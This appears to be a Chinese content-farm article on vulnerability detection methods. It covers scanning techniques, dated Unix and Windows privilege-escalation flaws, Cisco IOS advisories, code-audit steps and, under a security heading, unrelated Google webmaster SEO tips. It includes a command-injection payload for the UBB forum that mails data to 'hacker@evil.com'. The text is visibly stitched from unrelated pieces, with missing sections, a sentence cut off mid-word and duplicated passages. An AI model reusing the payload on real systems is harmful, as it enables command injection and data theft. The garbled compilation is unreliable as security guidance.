網絡漏洞檢查的方法(漏洞檢測的幾種方法)
1.漏洞檢測的幾種方法
漏洞掃描有以下四種檢測技術：
1.基于應用的檢測技術。它采用被動的、非破壞性的辦法檢查應用軟件包的設置，發(fā)現安全漏洞。
2.基于主機的檢測技術。它采用被動的、非破壞性的辦法對系統(tǒng)進行檢測。通常，它涉及到系統(tǒng)的內核、文件的屬性、操作系統(tǒng)的補丁等。這種技術還包括口令解密、把一些簡單的口令剔除。因此，這種技術可以非常準確地定位系統(tǒng)的問題，發(fā)現系統(tǒng)的漏洞。它的缺點是與平臺相關，升級復雜。
3.基于目標的漏洞檢測技術。它采用被動的、非破壞性的辦法檢查系統(tǒng)屬性和文件屬性，如數據庫、注冊號等。通過消息文摘算法，對文件的加密數進行檢驗。這種技術的實現是運行在一個閉環(huán)上，不斷地處理文件、系統(tǒng)目標、系統(tǒng)目標屬性，然后產生檢驗數，把這些檢驗數同原來的檢驗數相比較。一旦發(fā)現改變就通知管理員。
4.基于網絡的檢測技術。它采用積極的、非破壞性的辦法來檢驗系統(tǒng)是否有可能被攻擊崩潰。它利用了一系列的腳本模擬對系統(tǒng)進行攻擊的行為，然后對結果進行分析。它還針對已知的網絡漏洞進行檢驗。網絡檢測技術常被用來進行穿透實驗和安全審記。這種技術可以發(fā)現一系列平臺的漏洞，也容易安裝。但是，它可能會影響網絡的性能。
網絡漏洞掃描
在上述四種方式當中，網絡漏洞掃描最為適合我們的Web信息系統(tǒng)的風險評估工作，其掃描原理和工作原理為：通過遠程檢測目標主機TCP/IP不同端口的服務，記錄目標的回答。通過這種方法，可以搜集到很多目標主機的各種信息（例如：是否能用匿名登錄，是否有可寫的FTP目錄，是否能用Telnet, ?Cl ?Cfroot，可以直接以root身份登錄到系統(tǒng)而無須提供口令。 二.本地管理員權限 攻擊者在已有一個本地賬號能夠登錄到系統(tǒng)的情況下，通過攻擊本地某些有缺陷的suid程序，競爭條件等手段，得到系統(tǒng)的管理員權限。
典型漏洞： 1、RedHat Linux的restore是個suid程序，它的執(zhí)行依靠一個中RSH的環(huán)境變量，通過設置環(huán)境變量PATH，可以使RSH變量中的可執(zhí)行程序以root身份運行，從而獲得系統(tǒng)的root權限。 2、Solaris 7的Xsun程序有suid位，它對輸入參數未做有效的邊界檢查，可以很容易地溢出它的緩沖區(qū)，以root身份運行我們指定的代碼，從而獲得管理員權限。
3、在windows2000下，攻擊者就有機會讓網絡DDE（一種在不同的Windows機器上的應用程序之間動態(tài)共享數據的技術）代理在本地系統(tǒng)用戶的安全上下文中執(zhí)行其指定的代碼，從而提升權限并完全控制本地機器。 三.普通用戶訪問權限 攻擊者利用服務器的漏洞，取得系統(tǒng)的普通用戶存取權限，對UNIX類系統(tǒng)通常是shell訪問權限，對Windows系統(tǒng)通常是cmd.exe的訪問權限，能夠以一般用戶的身份執(zhí)行程序，存取文件。
攻擊者通常攻擊以非root身份運行的守護進程，有缺陷的cgi程序等手段獲得這種訪問權限。 典型漏洞： 1、UBB是個廣泛運行于各種UNIX和Windows系統(tǒng)的論壇程序，用PERL實現，它的5.19以下版本存在輸入驗證問題，通過提交精心構造的表單內容，可以使UBB去執(zhí)行shell命令，因為一般的web服務器以nobody身份運行，因此可以得到一個nobody shell。
比如提交這樣的數據：topic='012345.ubb mail hacker@evil.com 2、RedHat Linux 6.2帶的innd 2.2.2.3版新聞服務器，存在緩沖區(qū)溢出漏洞，通過一個精心構造的新聞信件可以使innd服務器以news身份運行我們指定的代碼，得到一個innd權限的shell。 3、Windows IIS 4.0-5.0存在Unicode解碼漏洞，可以使攻擊者利用cmd.exe以guest組的權限在系統(tǒng)上運行程序。
相當于取得了普通用戶的權限。 四.權限提升 攻擊者在本地通過攻擊某些有缺陷的sgid程序，把自己的權限提升到某個非root用戶的水平。
獲得管理員權限可以看做是一種特殊的權限提升，只是因為威脅的大小不同而把它獨立出來。 典型漏洞： 1、RedHat Linux 6.1帶的man程序為sgid man，它存在format bug，通過對它的溢出攻擊，可以使攻擊者得到man組的用戶權限。
2、Solaris 7的write程序為sgid tty，它存在緩沖區(qū)溢出問題，通過對它的攻擊可以攻擊者得到tty組的用戶權限。 3、WindowsNT系統(tǒng)中，攻擊者能夠使系統(tǒng)中其他用戶裝入一個”特洛化”的porfile，使其他用戶執(zhí)行攻擊者的惡意代碼，有時甚至是管理員。
4.應該怎樣檢查網站的漏洞
愛問網絡：
第一：robots文件檢查
整個網站不能收錄或某個目錄下所有頁面都不能收錄，經常是因為robots.txt文件差錯引起的。網管工具抓工具權限部分顯示出Google所抓取的robots文件內容。站長也可以在這里試驗不同的robots文件指令，然后輸入一個網址，測試網址是否可以被收錄，或是被禁止。
robots文件中的任何一個字母差錯都可能造成致命影響。有了這個工具，站長可以確保robots文件中的每一行代碼正確，不會錯誤禁止應該被收錄的文件或目錄。
第二：首選域設置
站長可以設置Google應該收錄帶還是不帶的網址版本，稱為首選域。
當然，在Google網管工具設置的首選域對百度等其他搜索引擎完全不起作用。這只是解決Google網址規(guī)范化的輔助手段，不能完全依靠這個設置，正確合理的網站結構才是解決問題的根本方法。站長也可以在這部分設置網站目標地理區(qū)域。
第三：關鍵詞排名
在搜索查詢部分，網管工具列出網站獲得排名的關鍵詞有哪些，并且列出了搜索結果顯示次數、點擊次數、點擊率和平均排名。
網管工具則列出了網站真是排名及點擊數字。這也為SEO人員提供了搜索結果點擊分布的另一組數據，可以用于搜索流量預估。不過，要注意的是，網管工具中列出的點擊率，很多時候與網站權重、知名度、頁面標題標簽的寫作有很大關系，并不一定符合其他關鍵詞的點擊情況。
第四：外部鏈接
Google的link：指令非常不準確，基本不能用來看外部鏈接。網管工具中列出的外部鏈接則要準確的多，還有雅虎的linkdomain：指令查外鏈也不錯。而且可以看出是全站鏈接還是只鏈首頁。SEO人員可以一目了然的看到網站上哪些頁面最受歡迎。
第五：網站內容
網管工具關鍵詞部分實際上列出的是Google在網站上抓取的最常見關鍵詞。查看這些常見關鍵詞，對頁面尤其是首頁的文案撰寫和修改有重要意義。
第六：內部鏈接
內部鏈接部分列出所有頁面的內部鏈接數。站長可以從這些數據中大致看到網站內部鏈接結構是否有重大缺陷。如果全站主導航中出現的分類首頁內部鏈接數非常低，很可能說明導航系統(tǒng)有問題。
內部鏈接數的另外一個作用是反映出網站收錄頁面數。Google的site：指令也不太準確，而且現在越來越不準確，經常不能反映出收錄數字。網管工具中內部鏈接部分列出的首頁內部鏈接總數，大致上就相當于Google收錄的頁面總數，因為網站上每一個頁面都應該有到首頁的鏈接。
第七：抓取錯誤及統(tǒng)計
抓取錯誤部分列出404錯誤（頁面不存在）、被robots文件禁止而不能收錄的頁面等。
其中404錯誤對檢查網站上是否存在錯誤鏈接很有用。對每個404錯誤，網管工具都列出了到這個網址的鏈接。如果到不存在頁面的鏈接是網站內部發(fā)出的，說明這些鏈接頁面上的鏈接地址有錯誤。如果鏈接向不存在頁面的是其他網站，站長可以嘗試聯(lián)系對方更改錯誤鏈接到正確位置。
第八：HTML建議
查看Google的HTML建議是尋找網站上可能出現的復制內容的最簡便方法。網管工具列出了重復的說明標簽及標題標簽個數和具體頁面。標題標簽重復，實際上說明這些頁面本身內容重復，往往是網站結構造成的。要注意的是，有時候網管工具中列出的數據并不完整，一般來說博客上標題標簽重復的頁面絕不止兩頁。
第九：模擬蜘蛛抓取
站長可以輸入自己網站上的任何一個網址，網管工具會發(fā)出Google蜘蛛，實時抓取頁面內容，并顯示出抓取的HTML代碼，包括服務器頭信息和頁面代碼。顯然這隊站長確認轉向設置和檢查服務器是否正確返回內容很有幫助。另外，這個工具也可以用來檢查頁面是否被黑。有的時候hei/k放入的代碼會檢查瀏覽器類型，如果是用戶使用的普通瀏覽器訪問則返回正常內容，如果是搜索引擎蜘蛛訪問，才返回hei/k加上去的垃圾內容和垃圾鏈接。所以站長自己訪問頁面看不出任何問題。Google蜘蛛抓取到的卻不是站長自己看到的內容。這個工具可以幫助站長檢查頁面是否存在安全漏洞。
第十：網站性能
網站速度現在越來越被重視，不僅對排名有影響，對用戶體驗也有很大的影響。
5.網絡安全漏洞及解決方案都有哪些
1、TCP數據包問題：在特定版本的IOS中，存在內存泄漏漏洞，可導致DOS工具，美國CERT的一份安全警報如此寫道。
2、IPv6路由數據幀頭缺陷：IOS可能不能正確的處理IPv6（互聯(lián)網協(xié)議第六版）數據包的特定格式的路由數據頭，可能導致一個DOS攻擊或者運行任何惡意代碼。IPv6是一套可以讓我們在互聯(lián)網上獲得更多IP地址一套規(guī)范。
3、欺騙性的IP選項漏洞：這是一個IOS在處理具有特定的欺騙性的IP選項的IPv4數據包的時候存在的安全漏洞，據CERT說，它也可以導致DOS攻擊或運行任意惡毒代碼。
CERT表示，所有三個漏洞都可能導致設備重新加載它的操作系統(tǒng)。這情況下，一種間接的持續(xù)性的DOS情況就有可能發(fā)生，因為數據包已經不能通過該設備了。
據CERT表示，由于運行IOS的設備可能要針對許多其他的網絡來轉發(fā)數據，因此這種拒絕服務攻擊的間接影響所帶來的后果可能是 非常嚴重的。
據思科公司在其安全公告中表示，公司已經發(fā)布了針對這些漏洞的補丁軟件。據思科公司補充道：它目前還不未得知有利用這些漏洞的攻擊出現。不過，據IBM公司互聯(lián)網安全系統(tǒng)的安全戰(zhàn)略主管奧爾曼表示，由于這些漏洞的嚴重性，用戶需要盡快安裝補丁軟件。據他表示，從他們的監(jiān)測來看，有許多黑客正在試圖利用這些漏洞。
建議使用金山清理專家或360安全衛(wèi)士，掃描電腦上的漏洞，并修復。
6.怎么檢查系統(tǒng)漏洞
有以下四種檢測技術：
1、基于應用的檢測技術。
它采用被動的、非破壞性的辦法檢查應用軟件包的設置，發(fā)現安全漏洞。
2、基于主機的檢測技術。
它采用被動的、非破壞性的辦法對系統(tǒng)進行檢測。通常，它涉及到系統(tǒng)的內核、文件的屬性、操作系統(tǒng)的補丁等。這種技術還包括口令解密、把一些簡單的口令剔除。因此，這種技術可以非常準確地定位系統(tǒng)的問題，發(fā)現系統(tǒng)的漏洞。它的缺點是與平臺相關，升級復雜。
3、基于目標的漏洞檢測技術。
它采用被動的、非破壞性的辦法檢查系統(tǒng)屬性和文件屬性，如數據庫、注冊號等。通過消息文摘算法，對文件的加密數進行檢驗。這種技術的實現是運行在一個閉環(huán)上，不斷地處理文件、系統(tǒng)目標、系統(tǒng)目標屬性，然后產生檢驗數，把這些檢驗數同原來的檢驗數相比較。一旦發(fā)現改變就通知管理員。
基于目標的漏洞檢測技術。它采用被動的、非破壞性的辦法檢查系統(tǒng)屬性和文件屬性，如數據庫、注冊號等。通過消息文摘算法，對文件的加密數進行檢驗。這種技術的實現是運行在一個閉環(huán)上，不斷地處理文件、系統(tǒng)目標、系統(tǒng)目標屬性，然后產生檢驗數，把這些檢驗數同原來的檢驗數相比較。一旦發(fā)現改變就通知管理員。
4、基于網絡的檢測技術。
采用積極的、非破壞性的辦法來檢驗系統(tǒng)是否有可能被攻擊崩潰。它利用了一系列的腳本模擬對系統(tǒng)進行攻擊的行為，然后對結果進行分析。它還針對已知的網絡漏洞進行檢驗。網絡檢測技術常被用來進行穿透實驗和安全審計。這種技術可以發(fā)現一系列平臺的漏洞，也容易安裝。但是，它可能會影響網絡的性能。
7.應該怎樣檢查網站的漏洞
愛問網絡：第一：robots文件檢查整個網站不能收錄或某個目錄下所有頁面都不能收錄，經常是因為robots.txt文件差錯引起的。
網管工具抓工具權限部分顯示出Google所抓取的robots文件內容。站長也可以在這里試驗不同的robots文件指令，然后輸入一個網址，測試網址是否可以被收錄，或是被禁止。
robots文件中的任何一個字母差錯都可能造成致命影響。有了這個工具，站長可以確保robots文件中的每一行代碼正確，不會錯誤禁止應該被收錄的文件或目錄。
第二：首選域設置站長可以設置Google應該收錄帶還是不帶的網址版本，稱為首選域。當然，在Google網管工具設置的首選域對百度等其他搜索引擎完全不起作用。
這只是解決Google網址規(guī)范化的輔助手段，不能完全依靠這個設置，正確合理的網站結構才是解決問題的根本方法。站長也可以在這部分設置網站目標地理區(qū)域。
第三：關鍵詞排名在搜索查詢部分，網管工具列出網站獲得排名的關鍵詞有哪些，并且列出了搜索結果顯示次數、點擊次數、點擊率和平均排名。網管工具則列出了網站真是排名及點擊數字。
這也為SEO人員提供了搜索結果點擊分布的另一組數據，可以用于搜索流量預估。不過，要注意的是，網管工具中列出的點擊率，很多時候與網站權重、知名度、頁面標題標簽的寫作有很大關系，并不一定符合其他關鍵詞的點擊情況。
第四：外部鏈接Google的link：指令非常不準確，基本不能用來看外部鏈接。網管工具中列出的外部鏈接則要準確的多，還有雅虎的linkdomain：指令查外鏈也不錯。
而且可以看出是全站鏈接還是只鏈首頁。SEO人員可以一目了然的看到網站上哪些頁面最受歡迎。
第五：網站內容網管工具關鍵詞部分實際上列出的是Google在網站上抓取的最常見關鍵詞。查看這些常見關鍵詞，對頁面尤其是首頁的文案撰寫和修改有重要意義。
第六：內部鏈接內部鏈接部分列出所有頁面的內部鏈接數。站長可以從這些數據中大致看到網站內部鏈接結構是否有重大缺陷。
如果全站主導航中出現的分類首頁內部鏈接數非常低，很可能說明導航系統(tǒng)有問題。內部鏈接數的另外一個作用是反映出網站收錄頁面數。
Google的site：指令也不太準確，而且現在越來越不準確，經常不能反映出收錄數字。網管工具中內部鏈接部分列出的首頁內部鏈接總數，大致上就相當于Google收錄的頁面總數，因為網站上每一個頁面都應該有到首頁的鏈接。
第七：抓取錯誤及統(tǒng)計抓取錯誤部分列出404錯誤（頁面不存在）、被robots文件禁止而不能收錄的頁面等。其中404錯誤對檢查網站上是否存在錯誤鏈接很有用。
對每個404錯誤，網管工具都列出了到這個網址的鏈接。如果到不存在頁面的鏈接是網站內部發(fā)出的，說明這些鏈接頁面上的鏈接地址有錯誤。
如果鏈接向不存在頁面的是其他網站，站長可以嘗試聯(lián)系對方更改錯誤鏈接到正確位置。第八：HTML建議查看Google的HTML建議是尋找網站上可能出現的復制內容的最簡便方法。
網管工具列出了重復的說明標簽及標題標簽個數和具體頁面。標題標簽重復，實際上說明這些頁面本身內容重復，往往是網站結構造成的。
要注意的是，有時候網管工具中列出的數據并不完整，一般來說博客上標題標簽重復的頁面絕不止兩頁。第九：模擬蜘蛛抓取站長可以輸入自己網站上的任何一個網址，網管工具會發(fā)出Google蜘蛛，實時抓取頁面內容，并顯示出抓取的HTML代碼，包括服務器頭信息和頁面代碼。
顯然這隊站長確認轉向設置和檢查服務器是否正確返回內容很有幫助。另外，這個工具也可以用來檢查頁面是否被黑。
有的時候hei/k放入的代碼會檢查瀏覽器類型，如果是用戶使用的普通瀏覽器訪問則返回正常內容，如果是搜索引擎蜘蛛訪問，才返回hei/k加上去的垃圾內容和垃圾鏈接。所以站長自己訪問頁面看不出任何問題。
Google蜘蛛抓取到的卻不是站長自己看到的內容。這個工具可以幫助站長檢查頁面是否存在安全漏洞。
第十：網站性能網站速度現在越來越被重視，不僅對排名有影響，對用戶體驗也有很大的影響。
8.安全漏洞的檢查方法
建立安全模型
1、熟悉軟件功能、功能實現，配置等；
如：IIS的虛擬目錄、腳本映射；
2、根據功能，分析安全需求，建立安全模型；
IIS外掛，文件類型識別，目錄正確識別；目錄限制；
外掛的特點；權限不是在文件對象上，需要自己識別文件，所以需要識別出同一個文件的所有文件名；
3、根據安全需求，分析編程應注意的地方，重點檢查。
IIS要對../進行檢測，連接文件的處理，識別出正確的目錄、文件名；編程接口完全按接口實現； 1、通讀原代碼；
2、安全需求里面重點需要檢測的地方；
3、搜索容易有問題的函數調用，如strcpy、strcat、*printf、free、strncpy等；
4、常見一些編程問題；一些變量類型，如長度變量用int，注意一些函數非直接返回賦值問題等，一些邊界條件，記數從0開始還是從1開始。
5、分析緩沖區(qū)使用的代碼；
6、輸入輸出合法檢測；
7、編程接口調用；了解操作系統(tǒng)、基本文件、進程調用等的特性；
8、數據結構；
9、安全領域的最小原則； 1、測試；
(1)、熟悉輸入輸出；
(2)、根據需要編寫測試程序；
(3)、輸入輸出各種特殊情況測試，特殊字符、長串；
(4)、安全需求需要檢測的一些條件測試；
2、反匯編分析；
(1)、閱讀理解反匯編代碼；
(2)、安全需求檢測的代碼分析；
(3)、調用接口代碼分析；
(4)、sub esp,xxx 代碼分析緩沖；
(5)、strcpy、strcat、*printf、free、strncpy等調用分析；
(6)、輸入輸出檢測；
3、跟蹤調試；
(1)、異常的攔截分析；
(2)、一些字符串的流向，讀寫斷點； 1、分析總結各種漏洞、漏洞原因、編程問題，補丁修補方法，編程怎么避免。
2、對漏洞歸納分類，全面考慮；
